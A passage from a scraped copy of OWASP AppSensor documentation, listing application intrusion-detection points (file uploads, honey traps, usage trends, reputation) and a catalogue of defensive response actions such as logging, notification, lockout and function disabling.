Tuning | \\- |\n| Examples | The user attempts to upload a large file to occupy resources or fill up\ndisk space. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_FIO1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_FIO1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_FIO1#php) |\n\n### FIO2: Detect Large Number of File Uploads\n\n| ID | FIO2 |\n| --- | --- |\n| Title | Detect Large Number of File Uploads |\n| Category | FileIOException |\n| Description | A user uploads an excessively large number of files. |\n| Considerations | The limit and period used to determine the threshold rate is application\ndependent, and may also depend on the user's role. |\n| Tuning | \\- |\n| Examples | A single user attempts to upload multiple small files to occupy\nresources or fill up disk space. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_FIO2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_FIO2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_FIO2#php) |\n\n## Honey Trap\n\n### HT1: Alteration to Honey Trap Data\n\n| ID | HT1 |\n| --- | --- |\n| Title | Alteration to Honey Trap Data |\n| Category | HoneyTrap |\n| Description | Fake (not otherwise needed by the application) data sent to the user and\nreturned (e.g. as form, URL, cookie values or in the path or HTTP\nheader) is modified. This is usually combined with making the name or\nvalue a tempting item for an attacker to try modifying. |\n| Considerations | Similar techniques can also be used for the creation of accessible\nCAPTCHA.\n\nSee also ideas at\n |\n| Tuning | \\- |\n| Examples | Example 1: Otherwise useless hidden fields, which look like potential\nvulnerabilities, added to some forms are sent back to the server\nmodified (e.g. ).\n\nExample 2: An additional URL parameter, which is not used by the\napplication, is modified by the user (e.g.\nwww.example.com/account.jsp?debug=0).\n\nExample 3: An additional fake cookie is added and is modified by the\nuser.\n\nExample 4: URL rewriting is used and a fake directory name is added;\nthis is modified by the user (e.g.\nwww.example.com/orders/normaluser/display.php).\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (40e) AppSensor Detection Points: Tampering of Hidden Parameter\n Honeytrap Data (981131) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT1#php) |\n\n### HT2: Honey Trap Resource Requested\n\n| ID | HT2 |\n| --- | --- |\n| Title | Honey Trap Resource Requested |\n| Category | HoneyTrap |\n| Description | A purposely leaked resource that has no use in normal application use is\nrequested by a user. |\n| Considerations | Ensure the resource is not linked from normal application content such\nthat a spider or robot might find the resource in any case. |\n| Tuning | \\- |\n| Examples | Example 1: Page, directory or other resource listed in the application's\nrobots.txt robots exclusion file is requested by the user.\n\nExample 2: URL identified only in HTML comments is requested by the\nuser.\n\nExample 3: Unexposed server function call included in Flash file source\ncode is requested by the user. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT2#php) |\n\n### HT3: Honey Trap Data Used\n\n| ID | HT3 |\n| --- | --- |\n| Title | Honey Trap Data Used |\n| Category | HoneyTrap |\n| Description | Special data sent or accessed by a user. |\n| Considerations | For honey trap data that is detected on egress only, use of outbound\ncontent monitoring (e.g. a web application firewall or similar\ntechnique) may be helpful. |\n| Tuning | \\- |\n| Examples | Example 1: Fake user name and password only visible in source HTML code\nused to attempt to log in to the application (e.g. in HTML comments, in\nserver-side code 'accidentally' delivered to the user).\n\nExample 2: A special code number or account name is left in a discussion\nforum site; this is then used in the application.\n\nExample 3: An attempt is made to authenticate with the user name listed\nin the first row (e.g. ID=1) of the application's database table of\nUsers.\n\nExample 4: Data from a fake account record is sent by the server and\ndetected; this record should not normally be accessible by anyone using\nthe application. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_HT3#php) |\n\n## UserTrendException\n\n### UT1: Irregular Use of Application\n\n| ID | UT1 |\n| --- | --- |\n| Title | Irregular Use of Application |\n| Category | UserTrendException |\n| Description | The application receives an unusual pattern of requests for the same\npage or feature from a user. The user may be sending different data\ncombinations or trying to detect errors in the page. |\n| Considerations | \\- |\n| Tuning | Use of bookmarked URLs and the \"back\" button might generate\nout-of-sequence requests. See also related frequency of feature use in\nUT4. |\n| Examples | Example 1: The user requests a particular page, such as the address\nupdate page, numerous times.\n\nExample 2: The user requests a page out-of-sequence, such as an\nintermediate step in a multi-stage form, or a series of actions that do\nnot map to a valid business process.\n\nExample 3: The user only requests dynamic content, and not the\nassociated static files (e.g. images, styles heets).\n\nExample 4: The user sends a slow request/read in an attempt at\napplication denial of service. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT1#php) |\n\n### UT2: Speed of Application Use\n\n| ID | UT2 |\n| --- | --- |\n| Title | Speed of Application Use |\n| Category | UserTrendException |\n| Description | The speed of requests from a user indicates that an automated tool is\nbeing used to access the site. The use of a tool undertaking a high\nnumber of requests quickly may indicate unapproved content scraping or\ndata gathering, reconnaissance for an attack, or attempts to identify\nvulnerabilities in the site. Slow usage (e.g. between account creation\nand use) might indicate automated account creation that are then used\nsubsequently for attacks. |\n| Considerations | If enforced inappropriately or too rigorously, this detection point\ncould lead to false positives. |\n| Tuning | Time periods need to be set broadly enough to cater for the normal\nspread in user behavior. Some users may use automated tools that store\npasswords securely to populate and submit authentication forms. |\n| Examples | Example 1: The user utilizes an automated tool to request hundreds of\npages per minute.\n\nExample 2: The user does not log in to the site until a long time after\ntheir account is created.\n\nExample 3: New (uncached) static content such as images and style sheets\nassociated with each page are not requested in a similar time period as\nthe page.\n\nExample 4: A CAPTCHA challenge is responded to more quickly than a human\ncould possibly do.\n\nExample 5: The user's clickstream data velocity is too high.\n\nExample 6: The time interval between the applications displaying a\npage/form and the time for the user to complete the page/form and submit\nit is too fast.\n\nExample 7: A web scraping tool is used to obtain content from a website. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT2#php) |\n\n### UT3: Frequency of Site Use\n\n| ID | UT3 |\n| --- | --- |\n| Title | Frequency of Site Use |\n| Category | UserTrendException |\n| Description | Change in how often the site is used by a user |\n| Considerations | \\- |\n| Tuning | Some users may correctly change their behavior in the frequency of\naccessing the application. |\n| Examples | The user normally accesses the site once per week, but this changes to\nmany times per day. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT3#php) |\n\n### UT4: Frequency of Feature Use\n\n| ID | UT4 |\n| --- | --- |\n| Title | Frequency of Feature Use |\n| Category | UserTrendException |\n| Description | The rate of a user utilizing a particular application feature changes\ndramatically. |\n| Considerations | \\- |\n| Tuning | It may be valid for some functionality may be requested repeatedly. For\nexample a real customer placing many orders, a press officer publishing\na backlog of press releases, or an administrator populating a staff\ndirectory. |\n| Examples | Example 1: The user submits many forum messages in a short period of\ntime.\n\nExample 2: The user adds many new friends rapidly. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_UT4#php) |\n\n## SystemTrendException\n\n### STE1: High Number of Logouts Across The Site\n\n| ID | STE1 |\n| --- | --- |\n| Title | High Number of Logouts Across The Site |\n| Category | SystemTrendException |\n| Description | A sudden spike in logouts across the application could indicate a XSS\nand CSRF attack placed within the application which is automatically\nlogging off users. |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | The hourly usage of the log-off feature of the application suddenly\nspikes by 500%. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE1#php) |\n\n### STE2: High Number of Logins Across The Site\n\n| ID | STE2 |\n| --- | --- |\n| Title | High Number of Logins Across The Site |\n| Category | SystemTrendException |\n| Description | A sudden spike in logins across the application could indicate users\nbeing redirected to the site from a phishing email looking to exploit a\nXSS vulnerability in the site. |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | The hourly usage of the logon feature of the application suddenly spikes\nby 1,000%. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE2#php) |\n\n### STE3: Significant Change in Usage of Same Transaction Across The Site\n\n| ID | STE3 |\n| --- | --- |\n| Title | Significant Change in Usage of Same Transaction Across The Site |\n| Category | SystemTrendException |\n| Description | A sudden spike in similar activity across numerous users of the\napplication may indicate a phishing attack or CSRF attack against the\nusers; a rapid reduction in activity may indicate users are being\nredirected elsewhere; a significant change in average transaction value\nor other quantitative measure may indicate suspicious activity. |\n| Considerations | External events (e.g. a news item) may lead to additional unexpected\ntraffic which is not an attack. |\n| Tuning | A special requirement, situation or event may dramatically change the\nrate of use of certain transactions. (See also UT4) |\n| Examples | Example 1: The hourly usage of the update email address feature of the\napplication suddenly spikes by 2,000%.\n\nExample 2: A website is compromised and users are redirected to a\nmalicious site part-way through a process; the number of successful\nfully completed transactions drops to nil.\n\nExample 3: A number of slow requests/reads are received in an attempt at\napplication denial of service.\n\nExample 4: The find contacts functionality is used excessively to\nidentify related friends. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_STE3#php) |\n\n## Reputation\n\nThese reputation detection points could be treated either as:\n\n- like any other detection point contributing to the count of\nsuspicious events, or\n- used to alter security logging, or the threshold levels, or\nassociated response actions\n\nThe former could lead to a much higher false positive rate.\n\n### RP1: Suspicious or Disallowed User Source Location\n\n| ID | RP1 |\n| --- | --- |\n| Title | Suspicious or Disallowed User Source Location |\n| Category | Reputation |\n| Description | The user is identified as using an IP address associated with a\nblacklist |\n| Considerations | Suspicious or invalid geo-location, IP addresses or IP address ranges\nmay be identified using a whitelist, internal blacklist, list of Tor\nnodes (e.g. ), HTTP blacklist (e.g.\n and Dshield\n) list of spammers (e.g. Spamhaus\n) or known botnets (e.g.\n).\n\n\"Suspicious\" may also depend upon the type of user e.g. users in the\n\"CMS manager\" role should be using an internal network IP address,\npublic users could be from anywhere, customers should only be accessing\nthe application from a particular geographical region, search engine\nrobots should be from a limited range of IP addresses.\n\nTake care that \"suspicious\" does not contribute to greater false\npositives. |\n| Tuning | The currency and accuracy of needs to be considered when the information\nis used in AppSensor. The method of challenge and removal of\ninaccuracies, and the speed of this process, should also be considered. |\n| Examples | Example 1: A user with an external IP address is accessing an internal\napplication, which should not be occurring.\n\nExample 2: An authenticated user is accessing the application using a\nknown Tor node, and attack detection thresholds are made stricter.\n\nExample 3: An authenticated user is accessing the application from a\nknown trustworthy IP address, and thresholds for certain activity (e.g.\ninput data validation errors) are relaxed slightly.\n\nExample 4: The IP address of the payment authentication server, used by\nthe application for credit card authorisation, changes. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP1#php) |\n\n### RP2: Suspicious External User Behavior\n\n| ID | RP2 |\n| --- | --- |\n| Title | Suspicious External User Behavior |\n| Category | Reputation |\n| Description | External (to the application) devices and systems (e.g. host and network\nIDS, file integrity monitoring, disk usage monitoring, anti-malware\nservice, IPS, network firewall, web application firewall, web server\nlogging, XML gateway, database firewall, SIEM) detect anomalous behavior\nby the user (e.g. session and/or IP address) or suspicious user\nproperties (e.g. fraud score, previously compromised, unusual\ncurrent/previous behavior).\n\nThis information can be used by the application to contribute to its\nknowledge about a potential attacker. In some cases, the information\ncould be detected by the application itself (e.g. XSS pattern black\nlisting), but may be more effectively identified by the external device,\nor is not known to the application normally (e.g. requests for missing\nresources that the web server sees, but does not pass onto the\napplication). |\n| Considerations | The greater the knowledge a device or system has about the application,\nthe greater confidence can be given to evidence of suspicious behaviour.\nTherefore, for example, attempted SQL injection detected by a web\napplication firewall (WAF) might be given greater weight than\ninformation from a network firewall about the IP address.\n\nThe power of AppSensor is its accuracy and low false positive rate, and\nthe usage of external data should be carefully assessed to ensure it\ndoes not contribute to a higher false positive rate. |\n| Tuning | The level of trust in information from the external\ndevice/system/organization needs to be considered. |\n| Examples | Example 1: A network IDS has detected suspicious activity by a\nparticular IP address, and this is used to temporarily tighten the\nattack detection thresholds for requests from all users in the same IP\naddress range.\n\nExample 2: An application is using the ModSecurity web application\nfirewall with the [Core Rule\nSet](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\"), and\nutilises the anomaly score data passed forward in the X-WAF-Events and\nX-WAF-Score HTTP headers (optional rules in\nmodsecurity_crs_49_header_tagging.conf) to adjust the level of\napplication logging for each user.\n\nExample 3: Information from an instance of PHPIDS suggests request data\nmay be malicious.\n\nExample 4: An adverse score is indicated for the user or IP address by a\nfraud detection engine, or by an external reputation or fraud rating\nservice (e.g. [Open Fraud Detection\nProject](http://wafsec.com/index.php/api/))\n\nExample 5: The username (email address) is related to an account\ncompromised by a data breach (e.g. [';--have i been\npwned?](http://www.haveibeenpwned.com/)) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP2#php) |\n\n### RP3: Suspicious Client-Side Behavior\n\n| ID | RP3 |\n| --- | --- |\n| Title | Suspicious Client-Side Behavior |\n| Category | Reputation |\n| Description | The application receives a report of client-side security policy\nexceptions. |\n| Considerations | Take care this information does not contribute to greater false\npositives. |\n| Tuning | \\- |\n| Examples | Example 1: An internal corporate intranet application detects use of a\nnon-standard workstation configuration (e.g. using JavaScript font or\nplugin detection see\n[SE6](http://www.owasp.org/index.php/AppSensor_DetectionPoints#SE6:_Change_Of_User_Agent_Mid_Session)).\nAn alert is raised for further investigation.\n\nExample 2: An online banking application receives details of suspicious\nclient-side behaviour that would not be expected in normal application\nuse, via a [Content Security\nPolicy](http://www.w3.org/Security/wiki/Content_Security_Policy)\nviolation report. The application increases logging for the user, and\ndecreases the monetary limit at which the user's payments require manual\nauthorisation by bank staff.\n\nExample 3: The HTTP user agent header value does not agree with other\nindicators (e.g. using JavaScript detection as in example 1 above).\n[Reference](http://ha.ckers.org/blog/20100904/browser-detection-autopwn-etc/).\n\nExample 4: A honey client system monitoring the web application reports\nunexpected behavior in the generated web pages output.\n\nExample 5: A third-party monitoring system detects page content that is\nunauthorised and/or contrary to policy (e.g. structure, included links,\nHTML validation, inclusion of certain data such as payment card data).\n\nExample 6: Client-side code is injected that creates a hash of the page\ncontent in the receiving client web browser to monitor for manipulated\nHTML code.\n[Reference](http://blog.spiderlabs.com/2013/07/modsecurity-advanced-topic-of-the-week-detecting-banking-trojan-page-modifications.html)\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (42e) Content Security Policy Enforcement: Content Security\n Policy (CSP) Violation (960001) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP3#php) |\n\n### RP4: Change to Environment Threat Level\n\n| ID | RP4 |\n| --- | --- |\n| Title | Change to Environment Threat Level |\n| Category | Reputation |\n| Description | The general threat level (e.g. general risk of attack from the Internet,\nor specific targetted attacks against an organisation) is elevated. This\ncould also be used to change response sensitivity due to short-term\neffects such as application upgrades/patching. |\n| Considerations | This input could be used to alter thresholds for AppSensor responses. |\n| Tuning | The detection point could receive specially crafted input from an\nattacker, and therefore the information should be considered as\nuntrusted. |\n| Examples | Example 1: A machine-readable threat index is read from a third-party\nand is used to control security logging levels.\n\nExample 2: Business circumstances (e.g. increased attention by\nactivists) raises the suspicion the application may be at increased risk\nof mis-use, and response thresholds for attack detection are tightened\nfor non-authenticated users.\n\nExample 3: The Defense Condition Level\n([DEFCON](http://www.fas.org/nuke/guide/usa/c3i/defcon.htm)) is raised\nand response thresholds are changed.\n\nExample 4: Sensor signal missing.\n\nExample 5: External power source disconnected.\n\nExample 6: Firmware or software patch signing check failure. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RP4#php) |\n\n---\n\n## Response Actions\n\n# About This Document\n\nThese response actions are part of the [OWASP\nAppSensor](http://www.owasp.org/index.php/Category:OWASP_AppSensor_Project)\nproject which advocates bringing intelligent intrusion detection inside\nthe application. These responses can be used to counter a malicious user\nthat [has been\ndetected](http://www.owasp.org/index.php/AppSensor_DetectionPoints)\nprobing for vulnerabilities or weaknesses within your application.\n\n**TOC**\n\n# Overview\n\nThe following table lists possible AppSensor Responses (ASRs), other\nthan no response (ASR-P). The application response actions are\ncategorized here from the user’s perspective (not from the\napplication/server’s perspective):\n\n- Silent: User(s) unaware of any application change\n- Passive: Process altered, but user(s) may still continue to process\ncompletion\n- Active: Functionality reduced or disabled\n- Intrusive: Non-malicious action on user’s system\n\n*To add a response action, just use the next available letter (e.g.\n“ASR-Q”) - they don’t have to be in alphabetical order below, but place\nit in the appropriate category (silent, passive, active or intrusive).\nThe image in the table below can be updated later to keep in step with\nthe page content.*\n\n![](Appsensor_response_actions_table_1.png\n\"File:Appsensor_response_actions_table_1.png\")\n\nA text version of the table, with some examples and alternative\nclassifications, is described in [AppSensor - Response\nActions](http://www.owasp.org/index.php/File:Owasp-appsensor-responses.pdf)\n(63 KB PDF). The information on the page below is likely to be more\nup-to-date.\n\n# Detailed Listing\n\nClassifications are:\n\n- Purposes: Logging, Notifying, Disrupting and Blocking\n- Target: One, Some or All users\n- Response duration: Instantaneous (e.g. just for the request), Period\n(e.g. time period or session duration), Permanent\n\n## Silent\n\n### ASR-P: No Response\n\n| id | ASR-P |\n| --- | --- |\n| title | No Response |\n| classifications | (not applicable) |\n| category | Silent |\n| description | There is no response. This could be used to record in logs that a\ndetection event did not lead to any particular response action. |\n| consideration | |\n| examples | Example 1: A detection point fired, but the threshold for response has\nnot been reached |\n| code | \\- |\n\n### ASR-A: Logging Change\n\n| id | ASR-A |\n| --- | --- |\n| title | Logging Change |\n| classifications | Logging \\| One, some or all users \\| Instantaneous (request) or for a\nperiod |\n| category | Silent |\n| description | The granularity of logging is changed (typically more logging). |\n| consideration | |\n| examples | Example 1: Capture sanitised request headers and response bodies\n\nExample 2: Full stack trace of error messages logged\n\nExample 3: Record DNS data on user's IP address\n\nExample 4: Security logging level changed to include 'informational'\nmessages |\n| code | \\- |\n\n### ASR-B: Administrator Notification\n\n| id | ASR-B |\n| --- | --- |\n| title | Administrator Notification |\n| classifications | Logging and notifying \\| One, some or all users \\| Instantaneous |\n| category | Silent |\n| description | A notification message is sent to the application administrator(s) |\n| consideration | |\n| examples | Example 1: Email alert sent to everyone in the administration team\n\nExample 2: SMS alert sent to the on-call administrator\n\nExample 3: Visual indicator displayed on an application monitoring\ndashboard\n\nExample 4: Audible alarm in the control room |\n| code | \\- |\n\n### ASR-C: Other Notification\n\n| id | ASR-C |\n| --- | --- |\n| title | Other Notification |\n| classifications | Logging and notifying \\| One user \\| Instantaneous |\n| category | Silent |\n| description | Notification message sent to something or someone other than\nAdministrators (see ASR-B) or the User (see ASR-E) |\n| consideration | The message recipient (e.g. firewall) could take some action otherwise\nunavailable to the application (e.g. disruptive - the application makes\na silent response, but the firewall actively intervenes and perhaps\nblocks the user). |\n| examples | Example 1: Broadcast event to SIEM\n\nExample 2: Signal sent to upstream network firewall, application\nfirewall (e.g. XML, web) or load balancer\n\nExample 3: Alert sent to fraud protection department\n\nExample 4: Record added to server event log\n\nExample 5: Event highlighted in a daily management report\n\nExample 6: Email alert to staff member's manager\n\nExample 7: Proactive entry added to customer support system (e.g.\n\"Someone had difficulty logging in with this customer's username -\nrequest extra validation for telephone enquiries\") |\n| code | \\- |\n\n### ASR-N: Proxy\n\n| id | ASR-N |\n| --- | --- |\n| title | Proxy |\n| classifications | Logging \\| One, some or all users \\| For a period or permanent |\n| category | Silent |\n| description | Send the request to a different back-end location. For redirection that\nthe user will be aware of, see See ASR-G instead. |\n| consideration | |\n| examples | Example 1: Requests from the user invisibly (from the user's\nperspective) passed through to a hardened system\n\nExample 2: Request are proxied to a special honeypot system which\nclosely mimics or has identical user functionality |\n| code | \\- |\n\n## Passive\n\n### ASR-D: User Status Change\n\n| id | ASR-D |\n| --- | --- |\n| title | User Status Change |\n| classifications | Logging \\| One user \\| For a period |\n| category | Passive |\n| description | A parameter related to the user is modified. This may have an impact on\nfunctionality or usability of the application, but only for the one\nuser. |\n| consideration | |\n| examples | Example 1: Internal trustworthiness scoring about the user changed\n\nExample 2: Reduce payment transfer limit for the customer before\nadditional out-of-band verification is required\n\nExample 3: Reduce maximum file size limit for each file upload by the\nforum user\n\nExample 4: Increase data validation strictness for all form submissions\nby this citizen\n\nExample 5: Reduce the number of failed authentication attempts allowed\nbefore the user's account is locked (ASR-K below) |\n| code | \\- |\n\n### ASR-E: User Notification\n\n| id | ASR-E |\n| --- | --- |\n| title | User Notification |\n| classifications | Logging, notifying and disrupting \\| One user \\| Instantaneous |\n| category | Passive |\n| description | A visual, audible and/or mechanical (e.g. vibration) signal or message\nis activated, displayed, or sent by other means, to the user. |\n| consideration | |\n| examples | Example 1: On-screen message about mandatory form fields (e.g. \"The\n'occupation' must be completed\")\n\nExample 2: On-screen message about data validation issues (e.g. 'The\nbank sort code can only contain six digits with optional hyphens')\n\nExample 3: Message sent by email to the registered email address to\ninform them their password has been changed\n\nExample 4: On-screen message warning that they have been detected\nperforming malicious activity (e.g. [Mr\nClippy](http://www.irongeek.com/i.php?page=security/phpids-install-notes)\nidea) |\n| code | \\- |\n\n### ASR-F: Timing Change\n\n| id | ASR-F |\n| --- | --- |\n| title | Timing Change |\n| classifications | Logging and disrupting \\| One, some or all users \\| Instantaneous\n(request) or for a period |\n| category | Passive |\n| description | The usual timescales to perform an operation are altered, usually\nextended, or delays are added. |\n| consideration | |\n| examples | Example 1: Extend response time for each failed authentication attempt\n\nExample 2: File upload process duration extended artificially\n\nExample 3: Add fixed time delay into every response\n\nExample 4: Order flagged for manual checking\n\nExample 5: Goods despatch put on hold (e.g. despatch status changed) |\n| code | \\- |\n\n## Active\n\n### ASR-G: Process Terminated\n\n| id | ASR-G |\n| --- | --- |\n| title | Process Terminated |\n| classifications | Logging, notifying (sometimes) and disrupting \\| One user \\| Instantaneous |\n| category | Active |\n| description | An interruption to the sending, display or process, such that the user\nhas to start again, or start somewhere else. For authenticated users,\nthis would not include termination of their session (see ASR-J). And,\nthey would be free to attempt the process again (e.g. access the\nresource after logging in, submit a payment transfer, etc). |\n| consideration | |\n| examples | Example 1: Discard data, display message and force user to begin\nbusiness process from start\n\nExample 2: Redirection of an unauthenticated user to the log-in page\n\nExample 3: Redirection to home page\n\nExample 4: Display other content (i.e. terminate process but display the\noutput of some other page without redirect)\n\nExample 5: Redirection to a page on another website |\n| code | \\- |\n\n### ASR-H: Function Amended\n\n| id | ASR-H |\n| --- | --- |\n| title | Function Amended |\n| classifications | Logging, notifying (sometimes), disrupting and blocking \\| One, some or\nall users \\| For a period or permanent |\n| category | Active |\n| description | The usual functionality is amended but not disabled (see ASR-I). |\n| consideration | |\n| examples | Example 1: Limit on feature usage rate imposed\n\nExample 2: Reduce number of times/day the user can submit a review\n\nExample 3: Additional registration identity validation steps\n\nExample 4: Additional anti-automation measures (e.g. out-of-band\nverification activated, CAPTCHA introduced)\n\nExample 5: Static rather than dynamic content returned\n\nExample 6: Additional validation requirements for delivery address\n\nExample 7: Watermarks added to pages, images and other content\n\nExample 8: Additional human interactive proof challenges added due to\nthe number of incorrect guesses of CAPTCHAs outnumbering the correct\nguesses by more than a certain factor (e.g. [Token\nbucket](http://research.microsoft.com/pubs/74609/CCS2007.pdf) idea)\n\nExample 9: Fuzz responses to mask real functionality or increase\nattacker efforts to enumerate the application (e.g. random URL\ngeneration using [ADHD Spider\nTrap](http://sourceforge.net/p/adhd/wiki/Home/) or\n[Weblabyrinth](https://code.google.com/p/weblabyrinth/), realistic but\ninvalid cipher text data using techniques such as [honey\nencryption](http://www.technologyreview.com/news/523746/honey-encryption-will-bamboozle-attackers-with-fake-secrets/)) |\n| code | \\- |\n\n### ASR-I: Function Disabled\n\n| id | ASR-I |\n| --- | --- |\n| title | Function Disabled |\n| classifications | Logging, notifying (sometimes), disrupting and blocking \\| One, some or\nall users \\| For a period or permanent |\n| category | Active |\n| description | A function or functions are disabled for one, some or all users. Other\nfunctionality continues to work as normal. |\n| consideration | For changes that affect multiple users, be careful the response cannot\nbe used too easily for denial of service. |\n| examples | Example 1: 'Add friend' feature inactivated\n\nExample 2: 'Recommend to a colleague' feature links removed and disabled\n\nExample 3: Document library search disabled\n\nExample 4: Prevent new site registrations\n\nExample 5: Web service inactivated or cloaked\n\nExample 6: Content syndication stopped\n\nExample 7: Automated Direct Debit system turned off and manual form\noffered instead |\n| code | \\- |\n\n### ASR-J: Account Logout\n\n| id | ASR-J |\n| --- | --- |\n| title | Account Logout |\n| classifications | Logging, notifying (sometimes), disrupting and blocking \\| One user \\|\nInstantaneous |\n| category | Active |\n| description | The current session is terminated on the server, and the user is logged\nout. |\n| consideration | Often undertaken in conjunction with process termination (ASR-G) and\nsometimes lockout (ASR-K). |\n| examples | Example 1: Session terminated and user redirected to logged-out message\npage\n\nExample 2: Session terminated only (no redirect) |\n| code | \\- |\n\n### ASR-K: Account Lockout\n\n| id | ASR-K |\n| --- | --- |\n| title | Account Lockout |\n| classifications | Logging, notifying (sometimes), disrupting and blocking \\| One user \\| For\na period or permanent |\n| category | Active |\n| description | An account, session or source address is blocked from access and/or\nauthentication. |\n| consideration | If IP blocking is implemented, it is recommended this is undertaken at\nthe network layer using the operating system (e.g. iptables, Windows\nfirewall) or by a network device (e.g. firewall). |\n| examples | Example 1: User account locked for 10 minutes\n\nExample 2: User account locked permanently until an Administrator resets\nit\n\nExample 3: One user's IP address range blocked\n\nExample 4: Unauthenticated user's session terminated |\n| code | \\- |\n\n### ASR-L: Application Disabled\n\n| id | ASR-L |\n| --- | --- |\n| title | Application Disabled |\n| classifications | Logging, notifying (sometimes), disrupting and blocking \\| All users \\|\nPermanent |\n| category | Active |\n| description | The whole application is disabled or made unavailable. |\n| consideration | Be careful the response cannot be used too easily for denial of service. |\n| examples | Example 1: Website shut down and replaced with temporary static page\n\nExample 2: Application taken offline |\n| code | \\- |\n\n## Intrusive\n\n### ASR-M: Collect Data from User\n\n| id | ASR-M |\n| --- | --- |\n| title | Collect Data from User |\n| classifications | Logging \\| One user \\| For a period |\n| category | Intrusive |\n| description | Direct action to collect further information from the user's system. |\n| consideration | This response is meant to be non-malicious in intent - it is simply\nadditional information gathering - and not retaliatory or damaging to\nthe user, their systems or data, nor make any permanent change. An alert\nuser might be aware of the action. Be very wary of data collected and\nperform appropriate validation and sanitization. Ensure any use of this\ntype of response is legally permissible in the relevant jurisdictions,\nand complies with corporate policies and the application's terms of use,\nprivacy notice and corporate policies.\n\nTo a certain extent, any additional payload in a response might cause a\nuser's browser or computer to crash, and this might have unforeseen\ncircumstances.\n\nThe information collection could use techniques like these described\nelsewhere:\n\n - [Panopticlick](http://panopticlick.eff.org)\n [methods](http://panopticlick.eff.org/about.php) to gather\n information on the user's browser and computer configuration\n - [Response content\n injection](http://www.modsecurity.org/projects/modsecurity/apache/feature_content_injection.html)\n using JavaScript to discover the user's real IP address\n - [Embeddable decloaking engine](http://decloak.net/) to discover the\n real IP address of a web user\n - [Using ModSecurity and\n BeEF](https://speakerdeck.com/rcbarnett/building-a-web-attacker-dashboard-with-modsecurity-and-beef)\n to monitor an attacker |\n| examples | Example 1: Deploy additional browser fingerprinting using JavaScript in\nresponses\n\nExample 2: Deploy a Java applet to collect remote IP address\n\nExample 3: Deploy JavaScript to collect information about the user's\nnetwork\n\nExample 4: Record mobile phone fingerprint and IMEI number |\n| code | \\- |\n\n---\n\n[Watch](https://github.com/owasp/www-project-appsensor/subscription) [Star](https://github.com/owasp/www-project-appsensor)", "znaku_textu": 87643, "slov": 11083, "odkazu": 41, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": 